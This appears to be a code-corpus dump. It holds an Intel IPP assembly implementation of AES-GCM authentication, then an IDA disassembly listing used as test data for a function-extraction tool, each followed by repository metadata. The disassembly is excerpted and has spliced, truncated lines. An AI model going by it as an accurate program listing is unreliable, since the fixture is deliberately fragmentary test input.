; notice or any other notice embedded in Materials by Intel or Intel's
; suppliers or licensors in any way.
;
;
; If this software was obtained under the Apache License, Version 2.0 (the
; "License"), the following terms apply:
;
; You may not use this file except in compliance with the License. You may
; obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
;
;
; Unless required by applicable law or agreed to in writing, software
; distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
; WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;
; See the License for the specific language governing permissions and
; limitations under the License.
;===============================================================================
;
;
; Purpose: Cryptography Primitive.
; Encrypt/Decrypt byte data stream according to Rijndael128 (GCM mode)
;
; Content:
; AesGcmMulGcm_table2K()
; AesGcmAuth_table2K()
;
.686P
.MODEL FLAT,C
INCLUDE asmdefs.inc
INCLUDE ia_emm.inc
IFDEF IPP_PIC
LD_ADDR MACRO reg:REQ, addr:REQ
LOCAL LABEL
call LABEL
LABEL: pop reg
sub reg, LABEL-addr
ENDM
ELSE
LD_ADDR MACRO reg:REQ, addr:REQ
lea reg, addr
ENDM
ENDIF
IF _IPP GE _IPP_V8
IPPCODE SEGMENT 'CODE' ALIGN (IPP_ALIGN_FACTOR)
;
; getAesGcmConst_table_ct provides c-e-t access to pre-computed Ipp16u AesGcmConst_table[256]
;
; input:
; edx: address of the AesGcmConst_table
; ecx: index in the table
;
; output:
; eax
;
; register ecx destoyed
; registers mmx2, mmx3, mmx6, and mmx7 destoyed
;
ALIGN IPP_ALIGN_FACTOR
_CONST_DATA:
_INIT_IDX DW 000h,001h,002h,003h,004h,005h,006h,007h ;; initial search inx = {0:1:2:3:4:5:6:7}
_INCR_IDX DW 008h,008h,008h,008h,008h,008h,008h,008h ;; index increment = {8:8:8:8:8:8:8:8}
INIT_IDX equ [ebx+(_INIT_IDX - _CONST_DATA)]
INCR_IDX equ [ebx+(_INCR_IDX - _CONST_DATA)]
ALIGN IPP_ALIGN_FACTOR
IPPASM getAesGcmConst_table_ct PROC NEAR PRIVATE
push ebx
LD_ADDR ebx, _CONST_DATA
pxor xmm2, xmm2 ;; accumulator xmm2 = 0
mov eax, ecx ;; broadcast inx into dword
shl ecx, 16
or ecx, eax
movd xmm3, ecx
pshufd xmm3, xmm3, 00b ;; search index xmm3 = broadcast(idx)
movdqa xmm6, xmmword ptr INIT_IDX ;; current indexes
xor eax, eax
ALIGN IPP_ALIGN_FACTOR
search_loop:
movdqa xmm7, xmm6 ;; copy current indexes
paddw xmm6, xmmword ptr INCR_IDX ;; advance current indexes
pcmpeqw xmm7, xmm3 ;; selection mask
pand xmm7, xmmword ptr[edx+eax*sizeof(word)];; mask data
add eax, 8
cmp eax, 256
por xmm2, xmm7 ;; and accumulate
jl search_loop
movdqa xmm3, xmm2 ;; pack result in qword
psrldq xmm2, sizeof(xmmword)/2
por xmm2, xmm3
movdqa xmm3, xmm2 ;; pack result in dword
psrldq xmm2, sizeof(xmmword)/4
por xmm2, xmm3
movd eax, xmm2
pop ebx
and ecx, 3 ;; select tbl[idx] value
shl ecx, 4 ;; rcx *=16 = sizeof(word)*8
shr eax, cl
ret
IPPASM getAesGcmConst_table_ct ENDP
;
; void AesGcmMulGcm_table2K(Ipp8u* pHash, const Ipp8u* pPrecomputedData, , const void* pParam))
;
ALIGN IPP_ALIGN_FACTOR
IPPASM AesGcmMulGcm_table2K PROC NEAR C PUBLIC \
USES esi edi ebx,\
pHash: PTR BYTE,\
pMulTbl: PTR BYTE,\
pParam: PTR WORD
mov edi, pHash
movdqu xmm0, [edi] ; hash value
mov esi, pMulTbl
mov edx, pParam ; pointer to the fixed table
movd ebx, xmm0 ; ebx = hash.0
mov eax, 0f0f0f0f0h
and eax, ebx ; eax = 4 x 4_bits
shl ebx, 4
and ebx, 0f0f0f0f0h ; ebx = 4 x 4_bits (another)
movzx ecx, ah
movdqa xmm5, oword ptr [esi+1024+ecx]
movzx ecx, al
movdqa xmm4, oword ptr [esi+1024+ecx]
shr eax, 16
movzx ecx, ah
movdqa xmm3, oword ptr [esi+1024+ecx]
movzx ecx, al
movdqa xmm2, oword ptr [esi+1024+ecx]
psrldq xmm0, 4 ; shift xmm0
movd eax, xmm0 ; eax = hash[1]
and eax, 0f0f0f0f0h ; eax = 4 x 4_bits
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 0*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 0*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 0*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 0*256 + ecx]
movd ebx, xmm0 ; ebx = hash[1]
shl ebx, 4 ; another 4 x 4_bits
and ebx, 0f0f0f0f0h
movzx ecx, ah
pxor xmm5, oword ptr [esi+1024+ 1*256 + ecx]
movzx ecx, al
pxor xmm4, oword ptr [esi+1024+ 1*256 + ecx]
shr eax, 16
movzx ecx, ah
pxor xmm3, oword ptr [esi+1024+ 1*256 + ecx]
movzx ecx, al
pxor xmm2, oword ptr [esi+1024+ 1*256 + ecx]
psrldq xmm0, 4
movd eax, xmm0 ; eax = hash.2
and eax, 0f0f0f0f0h
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 1*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 1*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 1*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 1*256 + ecx]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx ecx, ah
pxor xmm5, oword ptr [esi+1024+ 2*256 + ecx]
movzx ecx, al
pxor xmm4, oword ptr [esi+1024+ 2*256 + ecx]
shr eax, 16
movzx ecx, ah
pxor xmm3, oword ptr [esi+1024+ 2*256 + ecx]
movzx ecx, al
pxor xmm2, oword ptr [esi+1024+ 2*256 + ecx]
psrldq xmm0, 4
movd eax, xmm0 ; eax = hash.3
and eax, 0f0f0f0f0h
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 2*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 2*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 2*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 2*256 + ecx]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx ecx, ah
pxor xmm5, oword ptr [esi+1024+ 3*256 + ecx]
movzx ecx, al
pxor xmm4, oword ptr [esi+1024+ 3*256 + ecx]
shr eax, 16
movzx ecx, ah
pxor xmm3, oword ptr [esi+1024+ 3*256 + ecx]
movzx ecx, al
pxor xmm2, oword ptr [esi+1024+ 3*256 + ecx]
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 3*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 3*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 3*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 3*256 + ecx]
movdqa xmm0, xmm3
pslldq xmm3, 1
pxor xmm2, xmm3
movdqa xmm1, xmm2
pslldq xmm2, 1
pxor xmm5, xmm2
psrldq xmm0, 15
movd ecx, xmm0
CALLASM getAesGcmConst_table_ct ;;movzx eax, word ptr [edx + ecx*sizeof(word)]
shl eax, 8
movdqa xmm0, xmm5
pslldq xmm5, 1
pxor xmm4, xmm5
psrldq xmm1, 15
movd ecx, xmm1
mov ebx, eax ;;xor ax, word ptr [edx + ecx*sizeof(word)]
CALLASM getAesGcmConst_table_ct ;;
xor eax, ebx ;;
shl eax, 8
psrldq xmm0, 15
movd ecx, xmm0
mov ebx, eax ;;xor ax, word ptr [edx + ecx*sizeof(word)]
CALLASM getAesGcmConst_table_ct ;;
xor eax, ebx ;;
movd xmm0, eax
pxor xmm0, xmm4
movdqu oword ptr[edi], xmm0 ; store hash value
ret
IPPASM AesGcmMulGcm_table2K ENDP
;
; void AesGcmAuth_table2K(Ipp8u* pHash, const Ipp8u* pSrc, int len, const Ipp8u* pPrecomputedData, const void* pParam)
;
ALIGN IPP_ALIGN_FACTOR
IPPASM AesGcmAuth_table2K PROC NEAR C PUBLIC \
USES esi edi ebx,\
pHash: PTR BYTE,\
pSrc: PTR BYTE,\
len: DWORD,\
pMulTbl: PTR BYTE,\
pParam: PTR WORD
mov edi, pHash
movdqu xmm0, [edi] ; hash value
mov esi, pMulTbl
mov edi, pSrc
mov edx, pParam ; pointer to the fixed table
ALIGN IPP_ALIGN_FACTOR
auth_loop:
movdqu xmm4, [edi] ; get src[]
pxor xmm0, xmm4 ; hash ^= src[]
movd ebx, xmm0 ; ebx = hash.0
mov eax, 0f0f0f0f0h
and eax, ebx ; eax = 4 x 4_bits
shl ebx, 4
and ebx, 0f0f0f0f0h ; ebx = 4 x 4_bits (another)
movzx ecx, ah
movdqa xmm5, oword ptr [esi+1024+ecx]
movzx ecx, al
movdqa xmm4, oword ptr [esi+1024+ecx]
shr eax, 16
movzx ecx, ah
movdqa xmm3, oword ptr [esi+1024+ecx]
movzx ecx, al
movdqa xmm2, oword ptr [esi+1024+ecx]
psrldq xmm0, 4 ; shift xmm0
movd eax, xmm0 ; eax = hash[1]
and eax, 0f0f0f0f0h ; eax = 4 x 4_bits
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 0*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 0*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 0*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 0*256 + ecx]
movd ebx, xmm0 ; ebx = hash[1]
shl ebx, 4 ; another 4 x 4_bits
and ebx, 0f0f0f0f0h
movzx ecx, ah
pxor xmm5, oword ptr [esi+1024+ 1*256 + ecx]
movzx ecx, al
pxor xmm4, oword ptr [esi+1024+ 1*256 + ecx]
shr eax, 16
movzx ecx, ah
pxor xmm3, oword ptr [esi+1024+ 1*256 + ecx]
movzx ecx, al
pxor xmm2, oword ptr [esi+1024+ 1*256 + ecx]
psrldq xmm0, 4
movd eax, xmm0 ; eax = hash[2]
and eax, 0f0f0f0f0h
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 1*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 1*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 1*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 1*256 + ecx]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx ecx, ah
pxor xmm5, oword ptr [esi+1024+ 2*256 + ecx]
movzx ecx, al
pxor xmm4, oword ptr [esi+1024+ 2*256 + ecx]
shr eax, 16
movzx ecx, ah
pxor xmm3, oword ptr [esi+1024+ 2*256 + ecx]
movzx ecx, al
pxor xmm2, oword ptr [esi+1024+ 2*256 + ecx]
psrldq xmm0, 4
movd eax, xmm0 ; eax = hash[3]
and eax, 0f0f0f0f0h
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 2*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 2*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 2*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 2*256 + ecx]
movd ebx, xmm0
shl ebx, 4
and ebx, 0f0f0f0f0h
movzx ecx, ah
pxor xmm5, oword ptr [esi+1024+ 3*256 + ecx]
movzx ecx, al
pxor xmm4, oword ptr [esi+1024+ 3*256 + ecx]
shr eax, 16
movzx ecx, ah
pxor xmm3, oword ptr [esi+1024+ 3*256 + ecx]
movzx ecx, al
pxor xmm2, oword ptr [esi+1024+ 3*256 + ecx]
movzx ecx, bh
pxor xmm5, oword ptr [esi+ 3*256 + ecx]
movzx ecx, bl
pxor xmm4, oword ptr [esi+ 3*256 + ecx]
shr ebx, 16
movzx ecx, bh
pxor xmm3, oword ptr [esi+ 3*256 + ecx]
movzx ecx, bl
pxor xmm2, oword ptr [esi+ 3*256 + ecx]
movdqa xmm0, xmm3
pslldq xmm3, 1
pxor xmm2, xmm3
movdqa xmm1, xmm2
pslldq xmm2, 1
pxor xmm5, xmm2
psrldq xmm0, 15
movd ecx, xmm0
CALLASM getAesGcmConst_table_ct ;;movzx eax, word ptr [edx + ecx*sizeof(word)]
shl eax, 8
movdqa xmm0, xmm5
pslldq xmm5, 1
pxor xmm4, xmm5
psrldq xmm1, 15
movd ecx, xmm1
mov ebx, eax ;;xor ax, word ptr [edx + ecx*sizeof(word)]
CALLASM getAesGcmConst_table_ct ;;
xor eax, ebx ;;
shl eax, 8
psrldq xmm0, 15
movd ecx, xmm0
mov ebx, eax ;;xor ax, word ptr [edx + ecx*sizeof(word)]
CALLASM getAesGcmConst_table_ct ;;
xor eax, ebx ;;
movd xmm0, eax
pxor xmm0, xmm4
add edi, sizeof(oword) ; advance src address
sub len, sizeof(oword) ; decrease counter
jnz auth_loop ; process next block
mov edi, pHash
movdqu oword ptr[edi], xmm0 ; store hash value
ret
IPPASM AesGcmAuth_table2K ENDP
ENDIF
END
| 29.408714 | 118 | 0.569171 |
ac194e1f719063f9cf36b9c0786543ea116905a2 | 18,971 | asm | Assembly | test_data/function_extraction.asm | shrtCKT/FCG-to-Vector | 782f0a1808af8e97c08d1f9384dd8a27b9e67686 | [
"Apache-2.0"
] | 7 | 2018-08-24T22:52:16.000Z | 2021-09-05T13:37:09.000Z | test_data/function_extraction.asm | njucjc/FCG-to-Vector | 782f0a1808af8e97c08d1f9384dd8a27b9e67686 | [
"Apache-2.0"
] | 1 | 2020-03-02T12:22:21.000Z | 2020-03-02T12:22:21.000Z | test_data/function_extraction.asm | njucjc/FCG-to-Vector | 782f0a1808af8e97c08d1f9384dd8a27b9e67686 | [
"Apache-2.0"
] | 6 | 2018-08-25T10:14:00.000Z | 2019-04-27T16:17:36.000Z | .text:00401000 ;
.text:00401000 ; +-------------------------------------------------------------------------+
.text:00401000 ; | This file has been generated by The Interactive Disassembler (IDA) |
.text:00401000 ; Segment type: Pure code
.text:00401000 ; Segment permissions: Read/Execute
.text:00401000 56 push esi
.text:00401001 8D 44 24 08 lea eax, [esp+8]
.text:00401006 8B F1 mov esi, ecx
.text:00401008 E8 1C 1B 00 00 call ??0exception@std@@QAE@ABQBD@Z ; std::exception::exception(char const * const &)
.text:0040100D C7 06 08 BB 42 00 mov dword ptr [esi], offset off_42BB08
.text:00401013 8B C6 mov eax, esi
.text:00401015 5E pop esi
.text:00401016 C2 04 00 retn 4
.text:00401016 ; ---------------------------------------------------------------------------
.text:00401019 CC CC CC CC CC CC CC align 10h
.text:00401020 C7 01 08 BB 42 00 mov dword ptr [ecx], offset off_42BB08
.text:00401026 E9 26 1C 00 00 jmp sub_402C51
.text:00401026 ; ---------------------------------------------------------------------------
.text:0040102B CC CC CC CC CC align 10h
.text:00401030 56 push esi
.text:00401039 E8 13 1C 00 00 call sub_402C51
.text:00401045 56 push esi
.text:00401046 E8 6C 1E 00 00 call ??3@YAXPAX@Z ; operator delete(void *)
.text:0040104E
.text:0040104E loc_40104E: ; CODE XREF: .text:00401043j
.text:00401050 5E pop esi
.text:00401051 C2 04 00 retn 4
.text:00401051 ; ---------------------------------------------------------------------------
.text:00401054 CC CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401060 8B 44 24 08 mov eax, [esp+8]
.text:0040106C C3 retn
.text:0040106C ; ---------------------------------------------------------------------------
.text:0040106D CC CC CC align 10h
.text:00401070 8B 44 24 04 mov eax, [esp+4]
.text:00401074 8D 50 01 lea edx, [eax+1]
.text:00401077
.text:00401077 loc_401077: ; CODE XREF: .text:0040107Cj
.text:00401077 8A 08 mov cl, [eax]
.text:00401079 40 inc eax
.text:00401080 C3 retn
.text:00401165 C7 05 AC 49 52 00 00 00 00 00 mov dword_5249AC, 0
.text:0040116F
.text:0040116F loc_40116F: ; CODE XREF: .text:00401157j
.text:0040116F B8 FB FF FF FF mov eax, 0FFFFFFFBh
.text:00401174 C2 08 00 retn 8
.text:00401174 ; ---------------------------------------------------------------------------
.text:00401177 CC CC CC CC CC CC CC CC CC align 10h
.text:00401180 6A 04 push 4
text:0040120F
.text:0040120F loc_40120F: ; CODE XREF: .text:004011F7j
.text:0040120F B8 02 00 00 00 mov eax, 2
.text:00401214 C2 08 00 retn 8
.text:00401214 ; ---------------------------------------------------------------------------
.text:00401217 CC CC CC CC CC CC CC CC CC align 10h
.text:00401220 6A 04 push 4
.text:00401222 68 00 10 00 00 push 1000h
.text:00401256 C2 04 00 retn 4
.text:00401256 ; ---------------------------------------------------------------------------
.text:00401259 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ db 17h dup(0CCh)
.text:00401270 ; [00000005 BYTES: COLLAPSED FUNCTION std::_Ref_count_base::_Get_deleter(type_info const &). PRESS KEYPAD CTRL-"+" TO EXPAND]
.text:00401275 CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401280 B8 FE FF FF FF mov eax, 0FFFFFFFEh
.text:00401285 C3 retn
.text:0040134F
.text:0040134F loc_40134F: ; CODE XREF: .text:00401347j
.text:0040134F 5E pop esi
.text:00401350 C3 retn
.text:00401350 ; ---------------------------------------------------------------------------
.text:00401351 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ db 1Fh dup(0CCh)
.text:00401370 ; ---------------------------------------------------------------------------
.text:00401370 8B 4C 24 04 mov ecx, [esp+4]
.text:00401389 C3 retn
.text:00401389 ; ---------------------------------------------------------------------------
.text:0040138A CC CC CC CC CC CC align 10h
.text:00401390
.text:00401390 ; =============== S U B R O U T I N E =======================================
.text:00401390
.text:00401390
.text:00401390 sub_401390 proc near ; CODE XREF: sub_43E84Ej
.text:00401390
.text:00401390 arg_0 = dword ptr 4
.text:00401390
.text:00401390 8B 4C 24 04 mov ecx, [esp+arg_0]
.text:00401394 B8 1F CD 98 AE mov eax, 0AE98CD1Fh
.text:00401399 F7 E1 mul ecx
.text:0040139B C1 EA 1E shr edx, 1Eh
.text:0040139E 69 D2 FA C9 D6 5D imul edx, 5DD6C9FAh
.text:004013A4 56 push esi
.text:004013A5 57 .text:004013E4 ; ---------------------------------------------------------------------------
.text:004013E4
.text:004013E4 loc_4013E4: ; CODE XREF: sub_401390+4Aj
.text:004013E4 8B F8 mov edi, eax
.text:004013E6
.text:004013E6 loc_4013E6: ; CODE XREF: sub_401390+52j
.text:004013E6 85 FF test edi, edi
.text:004013E8 74 08 jz short loc_4013F2
.text:004013F2
.text:004013F2 loc_4013F2: ; CODE XREF: sub_401390+58j
.text:004013F2 8B D1 mov edx, ecx
.text:004013F4 8D 81 D6 8D 82 F7 lea eax, [ecx-87D722Ah]
.text:004013FA 81 F2 60 4F 15 0B xor edx, 0B154F60h
.text:00401411
.text:00401413 sub_401390 endp
.text:00401413
.text:00401413 ; ---------------------------------------------------------------------------
.text:00401414 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ align 40h
.text:00401440 8B 41 14 mov eax, [ecx+14h]
.text:00401443 C3 retn
.text:00401443 ; ---------------------------------------------------------------------------
.text:00401444 CC CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401450
.text:00401450 unknown_libname_1: ; Microsoft VisualC 2-11/net runtime
.text:00401450 83 79 18 10 cmp dword ptr [ecx+18h], 10h
.text:00401454 72 04 jb short loc_40145A
.text:00401456 8B 41 04 mov eax, [ecx+4]
.text:00401459 C3 retn
.text:0040145A ; ---------------------------------------------------------------------------
.text:0040145A
.text:0040145A loc_40145A: ; CODE XREF: .text:00401454j
.text:0040145A 8D 41 04 lea eax, [ecx+4]
.text:0040145D C3 retn
.text:0040145D ; ---------------------------------------------------------------------------
.text:0040145E CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ db 12h dup(0CCh)
.text:00401470 ; ---------------------------------------------------------------------------
.text:00401470 8B C1 mov eax, ecx
.text:00401472 C3 retn
.text:00401472 ; ---------------------------------------------------------------------------
.text:00401473 CC CC CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401480
.text:00401480 unknown_libname_2: ; Microsoft VisualC 2-11/net runtime
.text:00401480 83 79 18 10 cmp dword ptr [ecx+18h], 10h
.text:00401484 72 04 jb short loc_40148A
.text:00401486 8B 41 04 mov eax, [ecx+4]
.text:00401489 C3 retn
.text:0040148A ; ---------------------------------------------------------------------------
.text:0040148A
.text:0040148A loc_40148A: ; CODE XREF: .text:00401484j
.text:0040148A 8D 41 04 lea eax, [ecx+4]
.text:0040148D C3 retn
.text:0040148D ; ---------------------------------------------------------------------------
.text:0040148E CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ align 20h
.text:004014A0 ; [00000005 BYTES: COLLAPSED FUNCTION AFX_MAINTAIN_STATE2::AFX_MAINTAIN_STATE2(AFX_MODULE_STATE *). PRESS KEYPAD CTRL-"+" TO EXPAND]
.text:004014A5 CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:004014B0 8B 44 24 04 mov eax, [esp+4]
.text:004014B4 50 push eax
.text:004014B5 E8 FD 19 00 00 call ??3@YAXPAX@Z ; operator delete(void *)
.text:004014BA 59 pop ecx
.text:004014BB C2 08 00 retn 8
.text:004014BB ; ---------------------------------------------------------------------------
.text:004014BE CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ db 12h dup(0CCh)
.text:004014D0 ; ---------------------------------------------------------------------------
.text:004014D0 56 push esi
.text:004014D1 57 push edi
.text:004014D2 8B 7C 24 0C mov edi, [esp+0Ch]
.text:004014D6 85 FF test edi, edi
.text:004014D8 74 2C jz short loc_401506
.text:004014DA 8B 71 18 mov esi, [ecx+18h]
.text:004014DD 8D 41 04 lea eax, [ecx+4]
.text:004014E0 83 FE 10 cmp esi, 10h
.text:004014E3 72 04 jb short loc_4014E9
.text:004014E5 8B 10 mov edx, [eax]
.text:004014E7 EB 02 jmp short loc_4014EB
.text:004014E9 ; ---------------------------------------------------------------------------
.text:004014E9
.text:004014E9 loc_4014E9: ; CODE XREF: .text:004014E3j
.text:004014E9 8B D0 mov edx, eax
.text:004014EB
.text:004014EB loc_4014EB: ; CODE XREF: .text:004014E7j
.text:004014EB 3B FA cmp edi, edx
.text:004014ED 72 17 jb short loc_401506
.text:004014EF 83 FE 10 cmp esi, 10h
.text:004014F2 72 02 jb short loc_4014F6
.text:004014F4 8B 00 mov eax, [eax]
.text:004014F6
.text:004014F6 loc_4014F6: ; CODE XREF: .text:004014F2j
.text:004014F6 8B 49 14 mov ecx, [ecx+14h]
.text:004014F9 03 C8 add ecx, eax
.text:004014FB 3B CF cmp ecx, edi
.text:004014FD 76 07 jbe short loc_401506
.text:004014FF 5F pop edi
.text:00401500 B0 01 mov al, 1
.text:00401502 5E pop esi
.text:00401503 C2 04 00 retn 4
.text:00401506 ; ---------------------------------------------------------------------------
.text:00401506
.text:00401506 loc_401506: ; CODE XREF: .text:004014D8j
.text:00401506 ; .text:004014EDj ...
.text:00401506 5F pop edi
.text:00401507 32 C0 xor al, al
.text:00401509 5E pop esi
.text:0040150A C2 04 00 retn 4
.text:0040150A ; ---------------------------------------------------------------------------
.text:0040150D CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ align 20h
.text:00401520 83 C8 FF or eax, 0FFFFFFFFh
.text:00401523 C3 retn
.text:00401523 ; ---------------------------------------------------------------------------
.text:00401524 CC CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401530
.text:00401530 ; =============== S U B R O U T I N E =======================================
.text:00401530
.text:00401530
.text:00401530 ; int __cdecl sub_401530(char *)
.text:00401530 sub_401530 proc near ; CODE XREF: sub_43E7DBj
.text:00401530
.text:00401530 var_C = dword ptr -0Ch
.text:00401530 arg_0 = dword ptr 4
.text:00401530
.text:00401530 8B 4C 24 04 mov ecx, [esp+arg_0]
.text:00401534 83 EC 0C sub esp, 0Ch
.text:00401537 85 C9 test ecx, ecx
.text:00401539 77 0F ja short loc_40154A
.text:0040153B 33 C9 xor ecx, ecx
.text:0040153D
.text:0040153D loc_40153D: ; CODE XREF: sub_401530+24j
.text:0040153D 51 push ecx ; size_t
.text:0040153E E8 74 1A 00 00 call ??2@YAPAXI@Z ; operator new(uint)
.text:00401543 83 C4 04 add esp, 4
.text:00401546 83 C4 0C add esp, 0Ch
.text:00401549 C3 retn
.text:0040154A ; ---------------------------------------------------------------------------
.text:0040154A
.text:0040154A loc_40154A: ; CODE XREF: sub_401530+9j
.text:0040154A 83 C8 FF or eax, 0FFFFFFFFh
.text:0040154D 33 D2 xor edx, edx
.text:0040154F F7 F1 div ecx
.text:0040155B 8D 4C 24 04 lea ecx, [esp+10h+var_C] ; this
.text:0040155F C7 44 24 14 00 00 00 00 mov [esp+10h+arg_0], 0
.text:00401567 E8 BD 15 00 00 call ??0exception@std@@QAE@ABQBD@Z ; std::exception::exception(char const * const &)
.text:0040156C 68 80 57 43 00 push offset unk_435780
.text:00401576 C7 44 24 08 08 BB 42 00 mov [esp+14h+var_C], offset off_42BB08
.text:0040157E E8 99 1A 00 00 call __CxxThrowException@8 ; _CxxThrowException(x,x)
.text:0040157E sub_401530 endp
.text:0040157E
.text:0040157E ; ---------------------------------------------------------------------------
.text:00401583 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ align 20h
.text:004015A0
.text:004015A0 ; =============== S U B R O U T I N E =======================================
.text:004015A0
.text:004015A0
.text:004015A0 ; int __stdcall sub_4015A0(struct std::exception *)
.text:004015A0 sub_4015A0 proc near ; CODE XREF: sub_43E7D6j
.text:004015A0
.text:004015A0 arg_0 = dword ptr 4
.text:004015A0
.text:004015A0 8B 44 24 04 mov eax, [esp+arg_0]
.text:004015A4 56 push esi
.text:004015A5 50 push eax ; struct std::exception *
.text:004015A6 8B F1 mov esi, ecx
.text:004015A8 E8 EC 15 00 00 call ??0exception@std@@QAE@ABV01@@Z ; std::exception::exception(std::exception const &)
.text:004015AD C7 06 08 BB 42 00 mov dword ptr [esi], offset off_42BB08
.text:004015B3 8B C6 mov eax, esi
.text:004015B5 5E pop esi
.text:004015B6 C2 04 00 retn 4
.text:004015B6 sub_4015A0 endp
.text:004015B6
.text:004015B6 ; ---------------------------------------------------------------------------
.text:004015B9 CC CC CC CC CC CC CC align 10h
.text:004015C0 51 push ecx
.text:004015C1 8A 44 24 03 mov al, [esp+3]
.text:004015C5 59 pop ecx
.text:004015C6 C3 retn
.text:004015F0 ; ---------------------------------------------------------------------------
.text:004015F1 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401600 8B 44 24 10 mov eax, [esp+10h]
.text:00401604 8B 4C 24 0C mov ecx, [esp+0Ch]
.text:00401608 8B 54 24 08 mov edx, [esp+8]
.text:0040160C 56 push esi
.text:0040160D 8B 74 24 08 mov esi, [esp+8]
.text:00401611 50 push eax
.text:00401612 51 push ecx
.text:00401613 52 push edx
.text:00401614 56 push esi
.text:00401615 E8 25 19 00 00 call _memmove_s
.text:0040161A 83 C4 10 add esp, 10h
.text:0040161D 8B C6 mov eax, esi
.text:0040161F 5E pop esi
.text:00401620 C3 retn
.text:00401635 ; ---------------------------------------------------------------------------
.text:00401636 CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401640 ; [00000005 BYTES: COLLAPSED FUNCTION AFX_MAINTAIN_STATE2::AFX_MAINTAIN_STATE2(AFX_MODULE_STATE *). PRESS KEYPAD CTRL-"+" TO EXPAND]
.text:00401645 CC CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401650
.text:00401650 ; =============== S U B R O U T I N E =======================================
.text:00401650
.text:00401650
.text:00401650 sub_401650 proc near ; CODE XREF: sub_43E7F9j
.text:00401650
.text:00401650 arg_0 = dword ptr 4
.text:00401650
.text:00401650 83 79 18 10 cmp dword ptr [ecx+18h], 10h
.text:00401654 8B 44 24 04 mov eax, [esp+arg_0]
.text:00401658 89 41 14 mov [ecx+14h], eax
.text:0040165B 72 0A jb short loc_401667
.text:0040165D 8B 49 04 mov ecx, [ecx+4]
.text:00401660 C6 04 01 00 mov byte ptr [ecx+eax], 0
.text:00401664 C2 04 00 retn 4
.text:00401667 ; ---------------------------------------------------------------------------
.text:00401667
.text:00401667 loc_401667: ; CODE XREF: sub_401650+Bj
.text:00401667 C6 44 01 04 00 mov byte ptr [ecx+eax+4], 0
.text:0040166C C2 04 00 retn 4
.text:0040166C sub_401650 endp
.text:0040166C
.text:0040166C ; ---------------------------------------------------------------------------
.text:0040166F CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC+ align 20h
.text:00401680 B8 FE FF FF FF mov eax, 0FFFFFFFEh
.text:00401685 C3 retn
.text:00401685 ; ---------------------------------------------------------------------------
.text:00401686 CC CC CC CC CC CC CC CC CC CC align 10h
.text:00401690 8B 44 24 04 mov eax, [esp+4]
.text:00401694 6A 00 push 0
.text:00401696 50 push eax
.text:00401697 E8 3F D1 03 00 call sub_43E7DB
.text:0040169C 83 C4 08 add esp, 8
.text:0040169F C2 04 00 retn 4
| 60.03481 | 159 | 0.46977 |
e994aafcdffdbee8b147bf509cd903bd256d78a6 | 1,473 | asm | Assembly | libsrc/_DEVELOPMENT/arch/ts2068/misc/z80/asm_tshr_cls_wc_pix.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/ts2068/misc/z80/asm_tshr_cls_wc_pix.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
